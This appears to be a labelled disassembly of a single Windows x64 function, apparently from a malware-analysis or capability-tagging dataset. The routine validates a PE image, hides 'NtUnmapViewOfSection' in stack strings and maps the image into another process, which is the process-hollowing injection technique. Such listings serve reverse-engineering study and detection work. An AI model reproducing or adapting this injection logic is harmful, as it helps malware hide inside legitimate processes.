Function at 0x140064850
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r12, r8
mov rsi, rdx
mov r15, rcx
xor r13b, r13b
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], rax
call fcn.1400677b0
mov edi, eax
xor bl, bl
movzx r14d, byte [rbp + 0xa8]
test r14b, r14b
je 0x140064926
lea rcx, [rbp - 0x70]
call fcn.140011400
nop
movzx r9d, byte [rbp + 0xa0]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x50]
mov ecx, edi
call fcn.1400036e0
test al, al
je 0x140064915
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140064915
lea rax, [rbp + 0x90]
mov qword [rsp + 0x28], rax
call fcn.14000a140
test eax, eax
je 0x140064915
mov rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x88]
call fcn.14000a1f0
movzx ebx, bl
mov ecx, 1
test eax, eax
cmovne ebx, ecx
lea rcx, [rbp - 0x70]
call fcn.140011770
test bl, bl
je 0x140064d55
lea rdx, [0x14008a7b0]
lea rcx, [rbp - 0x70]
call fcn.140001040
mov rcx, rax
call fcn.1400113f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rcx, [rbp - 0x70]
call fcn.140011770
test rbx, rbx
je 0x140064d55
lea rdx, [0x140089970]
lea rcx, [rsp + 0x70]
call fcn.140001040
mov rcx, rax
call fcn.1400113f0
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400997d0], rax
lea rcx, [rsp + 0x70]
call fcn.140011770
lea rdx, [0x1400899a0]
lea rcx, [rsp + 0x70]
call fcn.140001040
mov rcx, rax
call fcn.1400113f0
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400997c8], rax
lea rcx, [rsp + 0x70]
call fcn.140011770
lea rdx, [0x1400899d0]
lea rcx, [rsp + 0x70]
call fcn.140001040
mov rcx, rax
call fcn.1400113f0
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400997c0], rax
lea rcx, [rsp + 0x70]
call fcn.140011770
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140064ca0
movsxd rax, dword [r15 + 0x3c]
lea rdi, [rax + r15]
cmp dword [rdi], 0x4550
jne 0x140064ca0
lea rdx, [rbp + 0xa8]
mov rcx, rsi
call fcn.14006a3f0
movzx eax, word [rdi + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x140064a47
cmp dword [rbp + 0xa8], 0
jmp 0x140064a58
mov ecx, 0x8664
cmp ax, cx
jne 0x140064a5e
cmp dword [rbp + 0xa8], 6
jne 0x140064d55
mov edx, 0x18
lea rcx, [rbp - 0x70]
call fcn.140010ce0
mov edx, 0x68
lea rcx, [rbp - 0x30]
call fcn.140010ce0
mov dword [rbp - 0x30], edx
mov dword [rbp + 0xc], 0x101
xor eax, eax
mov word [rbp + 0x10], ax
lea rax, [rbp - 0x70]
test r14b, r14b
je 0x140064ac1
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x38], rax
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp + 0x90]
call fcn.14000a290
jmp 0x140064ada
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov rdx, r12
mov rcx, rsi
call fcn.14000a380
test eax, eax
je 0x140064ca0
mov edx, ntohs
call fcn.14006af70
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.14000a450
mov rcx, qword [rbp - 0x70]
test eax, eax
je 0x140064c98
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
xor esi, esi
mov qword [rsp + 0x20], rsi
lea r9d, [rsi + 8]
lea r8, [rbp - 0x48]
call qword [0x1400997d0]
mov rdx, qword [rdi + 0x30]
mov eax, dword [rbp - 0x48]
cmp rax, rdx
jne 0x140064bbe
mov dword [rsp + 0x63], 0x642e6c6c
mov word [rsp + 0x68], WSASetLastError
mov byte [rsp + 0x67], WSASetLastError
mov word [rsp + 0x60], 0x746e
mov byte [rsp + 0x62], 0x64
mov dword [rsp + 0x71], 0x6d6e5574
mov word [rbp - 0x80], 0x6974
mov word [rbp - 0x7d], WSASetLastError
mov dword [rsp + 0x7a], 0x53664f77
mov dword [rsp + 0x76], 0x65695670
mov word [rsp + 0x7e], 0x6365
mov byte [rsp + 0x70], 0x4e
mov byte [rbp - 0x7e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x75], 0x61
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x70]
call rax
mov rdx, qword [rdi + 0x30]
mov eax, 4
mov ecx, 0x40
cmp byte [rbp + 0x98], sil
cmovne eax, ecx
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp - 0x70]
call fcn.14006b000
mov r14, rax
mov rcx, qword [rbp - 0x70]
test rax, rax
je 0x140064c8e
mov r9d, dword [rdi + 0x54]
mov r8, r15
mov rdx, rax
call fcn.14000a4e0
movzx ebx, word [rdi + 0x14]
add rbx, 0x2c
xor eax, eax
cmp ax, word [rdi + 6]
jae 0x140064c47
add rbx, rdi
nop word [rax + rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r15
mov edx, dword [rbx - 8]
add rdx, r14
mov rcx, qword [rbp - 0x70]
call fcn.14000a4e0
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x140064c20
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov r9d, 8
lea r8, [rdi + 0x30]
mov rcx, qword [rbp - 0x70]
call fcn.14000a4e0
mov eax, dword [rdi + 0x28]
add rax, r14
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rbp - 0x68]
call qword [0x1400997c8]
mov rcx, qword [rbp - 0x68]
call qword [0x1400997c0]
mov r13b, 1
jmp 0x140064ca0
call fcn.14000a590
xor r13b, r13b
jmp 0x140064ca2
call fcn.14000a590
xor r13b, r13b
xor esi, esi
cmp qword [rbp + 0x88], 0
je 0x140064d29
lea rdx, [0x1400899f0]
lea rcx, [rbp - 0x70]
call fcn.140001040
nop
mov rcx, rax
call fcn.1400113f0
mov rcx, rax
call fcn.14006b0b0
mov rbx, rax
lea rcx, [rbp - 0x70]
call fcn.140011770
test rbx, rbx
je 0x140064d29
lea rdx, [0x140089a10]
lea rcx, [rsp + 0x70]
call fcn.140001040
mov rcx, rax
call fcn.1400113f0
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400997f8], rax
lea rcx, [rsp + 0x70]
call fcn.140011770
mov rax, qword [0x1400997f8]
test rax, rax
je 0x140064d29
mov rcx, qword [rbp + 0x88]
call rax
mov rcx, qword [rbp + 0x90]
test rcx, rcx
je 0x140064d41
call fcn.1400698c0
mov qword [rbp + 0x90], rsi
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140064d4f
call fcn.1400698c0
movzx eax, r13b
jmp 0x140064d57
xor al, al
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret